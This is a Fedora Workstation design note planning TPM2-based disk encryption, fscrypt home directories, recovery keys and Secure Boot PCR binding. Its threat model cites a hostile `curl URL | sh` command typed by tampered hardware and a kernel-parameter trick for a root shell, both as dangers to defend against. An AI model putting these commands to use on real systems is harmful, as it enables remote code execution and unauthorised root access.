owned this note
owned this note
Published
Linked with GitHub
# Disk Encryption in Fedora
This document is a continuation of the following two Fedora Workstation Working Group tickets.
[#82 encryption of user data (excludes system) ](https://pagure.io/fedora-workstation/issue/82)
[#136 encryption of system data (excludes user)](https://pagure.io/fedora-workstation/issue/136)
## Requirements
* Confidentiality - if a laptop is stolen, private data should be safe from access.
* Integrity - when combined with secure boot, the system should be robust against tampering (evil-maid attacks).
* Usability - confidentiality and integrity protection should "just work" by default without the user having to think about it
* Recoverability - forgetting your password shouldn't result in lost data
* Internationalization - any text prompts and messages should be properly translated into their language.
* Accessibility - to the extent that a user needs to interact with the system before entering credentials, features supporting users with disabilities, such as screenreading and magnification should be available.
* Multi-user support - encryption should be available on a system shared by multiple users (for example, a shared home computer.)
## Threat Model
We assume that the attacker can:
* Change BIOS settings, boot from USB drives, etc - the user has not set a BIOS password
* Run arbitrary code with full privileges - they can disable secure boot or boot an alternate operating system.
* Permanently modify the system to boot an alternate operating system of their crafting, potentially indistinguishable to the user from the original operating system.
We assume that *most* attackers cannot:
* Exploit vulnerabilities to gain control of a booted system before logging into a user account or after login when the screen is locked.
* Use advanced hardware attack methods (e.g. injecting bus traffic to change memory contents) to gain control of a booted system.
### Lost laptop attack
The attacker obtains a user's laptop, which either is powered off or powered on and locked and attempts to access the users data.
### Evil maid attack
The attacker obtains temporary access to the user's system, either powered off or powered on and locked, and attempts to install malware on the device.
There are real limits to how well we can defend against this at the operating system level - a sufficiently resourced and determined attacker could, for example, modify the keyboard hardware to enter `<Alt><f2>gnome-terminal<return>curl URL | sh` at a future time.
## The current state
Currently, we offer an option in Anaconda to encrypt the whole filesystem using a passphrase, implemented at the block level with dm-crypt. The passphrase is separate from the user's login credentials, though there is a hidden integration that if the user uses a passphrase that matches their password and enables auto-login, then the user can enter the passphrase/password only once.
There are a number of problems with this solution:
* There is no accessibility support
* There is no internationalization support (the design avoids using any text)
* It's mostly unusable for multi-user systems
* It's vulnerable to "impersonation" - where an alternate bootloader can prompt for the passphrase, unlock the partition, modify it, and then, say, trigger a reboot.
* Prompting for decryption is a major driver of needing framebuffer support in the initrd.
## Resisting tampering
Preventing tampering with the system image can be done various ways. For example, an immutable root partition could be protected with dm-verity. However, without significantly reworking the way that Fedora installs and updates the system image, the most feasible way to protect the system image is to encrypt it.
This could be done with dm-crypt, as we do currently; the aes-xts-plain64 encryption mode Fedora and other Linux distros use is mostly resistant to tampering - the attacker can corrupt chosen 16-byte chunks of the disk, but that would be difficult to exploit, especially given btrfs checksums. ([Some discussion](https://www.jakoblell.com/blog/2013/12/22/practical-malleability-attack-against-cbc-encrypted-luks-partitions/))
Alternatively, we could encrypt the / subvolume using the upcoming btrfs fscrypt support - this is expected to use authenticated encryption and be resistant to modifications when locked. Encrypting with btrfs fscrypt gives a number of advantages:
- We don't need to double encrypt home directories - they can simply have a different key
- We can have an unencrypted /boot as part of the same partition (see the "changes to /boot" section.)
This encryption doesn't have to be with a user-entered passphrase - in fact, that has the problem that the user has no way to know if the password prompt is being presented by a trusted initrd, or by an alternate boot sequence that is going to install malware on the system partition after unlocking it.
A more secure way to protect the system image is to store the encryption key in the TPM2 chip, sealed with the PCR of the boot sequence - at that point the system can only be unlocked by the unmodified Fedora kernel and initrd.
This will require support for generating and displaying a recovery key, since the TPM2-stored key will be lost if the computer's motherboard is replaced or if the user wants to move the drive to a different system.
## Protecting data
Simply encrypting the root partition with a TPM2-stored key gives some level of protection for the data on the device - while an attacker can boot a "lost laptop" and the data will be decrypted, actually accessing that data requires breaking into the system through vulnerabilities that can be attacked without full system access. (GDM vulnerability, peripheral handling vulnerability.) Its similar to the level of protection that user data gets if an attacker obtains a powered-on and suspended system.
One way of going beyond this is to add a "PIN" (not necessarily numeric) to the key storage. TPM chips have rate limitations, so the PIN doesn't have to be very strong. This is quite secure, but has the same internationalization, accessibility, and multi-user issues as the passphrase-based FDE - in either case, we're prompting from the initrd.
A second way of going beyond this is to add an extra layer of
encryption of user data. This could be done with loopback mounts and LUKS - the approach of systemd-homed. Or doing it at the filesystem level with fscrypt. (fscrypt support for btrfs filesystems exists in draft form and is expected to land within the next few kernel cycles.)
Encrypting the user data should provide quite strong protection for user data in the *powered off* lost-laptop scenario - even if the attacker has advanced capabilities to attack the hardware and operating system, they still have to brute-force the users key.
We'd probably want to add generation of a recovery key for the user *as well* as for the system partition.
## Recovery keys
A user will need a recovery key in a range of situations:
* Motherboard failure/replacement
* Move a harddrive to a different machine
* Reinstall keeping home directory data
* Booting a custom initrd or kernel
* A bios setting is changed that affects the PCR contents
(Some of these can be handled by )
Microsoft and Apple store recovery keys in their cloud services by default. We don't have that option - even if we *did* have a Fedora cloud service, we would be unlikely to want to store something so sensitive there.
But if we display at install time "Please write down this recovery key and store it in a safe place where you can find it", we have to assume that many users will fail at the second step. Not clear how to address that best - perhaps suggesting taking a picture of the recovery key with a phone. (For many users, losing their laptop and having someone break into their online photo storage are *independent* threats.)
## Draft plan
* Encrypt / exclusive of /home with a TPM2-stored key, bound to PCR 7
* Encypt the /home subvolume with the same key
* Encrypt home directories with the user password
**To be verified**: the nested structure of /home should prevent alternate operating systems from unlocking the home directories even if the user can be tricked into entering the password. (But will not protect from stealing the password - see below.)
## Security weaknesses of draft plan
* A replacement boot environment could fool the user into entering their user password. If the attacker can access the device again, they can log in as the user by simply typing the password.
* Mitigation: user logs in with a smartcard or FIDO2 device
* Provide a way for the user to authenticate the system [E.g., tpm2-totp](https://github.com/tpm2-software/tpm2-totp). Seems unlikely to be effective except for the most concerned users.
* Most users are likely vulnerable to a modified boot loader which says "Failed to decrypt disk: please enter your system recovery key" - unless they are already on guard for some other reason.
* Mitigation: when we display the key, say something like "Fedora Workstation will never prompt for a recovery key. See https://fedoraproject.org/recovery for recovery instructions".
## Work items for TPM2-stored encryption keys
**Improvements to secure boot** - right now, it's hard to use PCR binding on Fedora - the initrd is generated on the users system, and not signed, and while it is measured by grub, the measurement is fragile - it depends on the grub config and kernel command line. See the following Fedora Change proposals:
* [Unified_Kernel_Support_Phase_1](https://fedoraproject.org/wiki/Changes/Unified_Kernel_Support_Phase_1) (accepted for F38)
* [Unified_Kernel_Support_Phase_2](https://fedoraproject.org/wiki/Changes/Unified_Kernel_Support_Phase_2) (proposed for F39)
If we want to support PCR 7 binding, then we have to have and require a Fedora-signed unified kernel image.
**Secure boot with NVIDIA proprietary driver** - it is currently difficult to use the NVIDIA proprietary drives with secure boot enabled ([#155 NVIDIA driver and UEFI secure boot](https://pagure.io/fedora-workstation/issue/155), [RPM Fusion Secure Boot HowTo]( https://rpmfusion.org/Howto/Secure%20Boot), [akmod docs](https://src.fedoraproject.org/rpms/akmods/blob/rawhide/f/README.secureboot))
**Anaconda support for TPM2-stored keys and recovery keys**
**? Key rollover support on updates** - If we decide to use a PCR binding that depends on the *actual* contents of the kernel/initrd, rather than just the keys used to verify them, we need to update the TPM2-key storage so that the filesystem can be decrypted by the new kernel+initrd.
**Recovery user experience** - if the user replaces their motherboard, or something goes wrong with the update process, the user needs guidance to find the recovery key they wrote down at installation time and use it. (See "Security weaknesses of draft plan" for fishing concerns.)
## Work items for encrypted home directories via fscrypt
**fscrypt support in btrfs**
**At installation, configure PAM for fscrypt** this should take care of decrypting the home directory when logging in and also take care of updating the encryption when the users password is changed.
**Handle any changes necessary in accountservice and gnome-control-center** When home directory encryption is enabled, it is not possible for adminstrators to change other user's passwords(???) - the user interface needs to reflect this, not just leave things in a broken state. Other changes may be needed as well.
**Smartcard support** - (not MVP?) it should be possible to store the encryption key for the home directory on a smartcard or FIDO2 token, but it would likely significant redesign compared to current smartcard logins.
# Secure Boot
Figuring out the exact details of how the encryption key is bound to one or more PCRs is a little tricky.
There are two basic approaches:
* Bind the encryption key to the exact versions of bootloader/kernel/initrd that are currently installed. This will require updating the encryption key on OS updates.
* Advantage: does not depend on signed kernel/initrd - can work with a custom kernel or local initrd.
* Advantage: protects against downgrade attacks
* Bind the encryption key to the signatures used to verify the boot chain components:
* Advantage: simplicity of implementation
* Advantage: less likely to go wrong and require a recovery key
[The systemd-cryptenroll(1) man page](https://www.freedesktop.org/software/systemd/man/systemd-cryptenroll.html) recommends the second approach:
> For most applications it should be sufficient to bind against PCR 7 (and possibly PCR 14, if shim/MOK is desired), as this includes measurements of the trusted certificates (and possibly hashes) that are used to validate all components of the boot process up to and including the OS kernel. In order to simplify firmware and OS version updates it's typically not advisable to include PCRs such as 0 and 2 in the binding of the enrollment, since the program code they cover should already be protected indirectly through the certificates measured into PCR 7. Validation through these certificates is typically preferable over validation through direct measurements as it is less brittle in context of OS/firmware updates: the measurements will change on every update, but code signatures likely will validate against pre-existing certificates.
Hybrid approaches are possible where we use PCR 7 to handle firmware/shim/bootloader with protection via certificates but measure the kernel/initrd directly.
On Windows, BitLocker [seals the encryption key with PCR 7 and 11](https://learn.microsoft.com/en-us/windows/security/information-protection/bitlocker/bitlocker-group-policy-settings#about-pcr-7) when secure boot is available and configured. PCR 11 is something Bitlocker specific ("BitLocker Access Control"). When secure boot is not available, it instead uses PCRs 0, 2, 4, and 11. (BIOS, option rom, boot sector). Maybe PCR 8, 9 too - which are the NTFS boot sector and boot block - there is conflicting information on the internet.
Whatever the approach, we need to make sure that it can't be subverted from the kernel command line - e.g. that an attacker can't add `systemd.unit=emergency.target` to the kernel command line and get a passwordless root shell on unencrypted filesystem.
## systemd-homed discussion
Among other features, systemd-homed allows for encrypting home directory contents, either by using LUKS-encrypted loopback mounts, or with fscrypt.
Concerns about using systemd-homed would be:
* If we want to encrypt home directories with fscrypt, systemd-homed seems like a very complicated solution compared to setting up PAM+fscrypt.
* It cannot be universal for all Fedora systems - some things like NFS home directories are out of scope for systemd-homed. Logging in remotely via ssh is not supported. (???)
Advantages of using systemd-homed:
* Could be used without btrfs
* [fill in more advantages]
## changes to /boot
One benefit of switching to using fscrypt filesystem-level encryption is that we could make /boot an unencrypted subvolume of the main system partition, avoiding having to choose a fixed size for /boot. Future Fedora systems potentially need to ship a range of large NVIDIA firmware images for different generations of GPU, which will result in very large initrd sizes, unless an alternate solution is found.
On the other hand, there has been discussion of removing the /boot partition, and storing kernels and initrd images in the EFI System partition, currently /boot/efi. This would simplify the setup and make it more robust - but prevent unification with the system partition. We'd need to find some other way of handling firmware size explosion.
## non-btrfs system discussion
Fedora Workstation and other "desktop" oriented Fedora spins use btrfs. However, Fedora provides the basis for other operating systems that *do not* use btrfs, but use XFS instead - ELN, CentOS Stream, RHEL, and so forth.
TPM2-linked encryption of the root filesystem via fscrypt can be trivially replaced with dm-crypt encryption of the root partition. (/boot needs to stay separate.)
However, encryption of home directory contents using the user's password is harder to achieve in a drop-in fashion. Using systemd-homed creates a major architectural difference.
Handling non-btrfs systems might be a driver for developing support for TPM2+pin - giving adminstrators the option of stronger solution. (But without i18n+a11y+multiuser)
## Open questions
* Do we actually want to try and support integrity? Making a random laptop *highly* tamper proof is not realistic, but we can definitely improve the situation. Integrity support would also give some rhyme and reason for Secure Boot - which is currently not making things much more secure.
* On the other hand, maybe TPM2-tied passwordless encryption is *enough* for default Fedora? It's not easy to break in from the GDM prompt - AFAIK, in 20+ years there's never been a GDM vulnerability that would allow this (https://www.cvedetails.com/vulnerability-list/vendor_id-283/product_id-580/Gnome-GDM.html, https://www.cvedetails.com/vulnerability-list/vendor_id-283/product_id-20202/Gnome-Gnome-shell.html)
* What options do we present in Anaconda? Do we just allow for unencrypted or TPM2 system + fscrypt home - or do we have a range of options allowing things like TPM2 system only or TPM2+PIN?
* Do we want to support binding *either* to PCR7, or to an alternate system that doesn't require a Fedora-signed initrd? The latter would require key-rollover support during updates.
* What kind of support do we need for key escrow?
* What do we do about centrally managed user accounts ("enterprise login")? In that case, we don't necessarily know about password changes.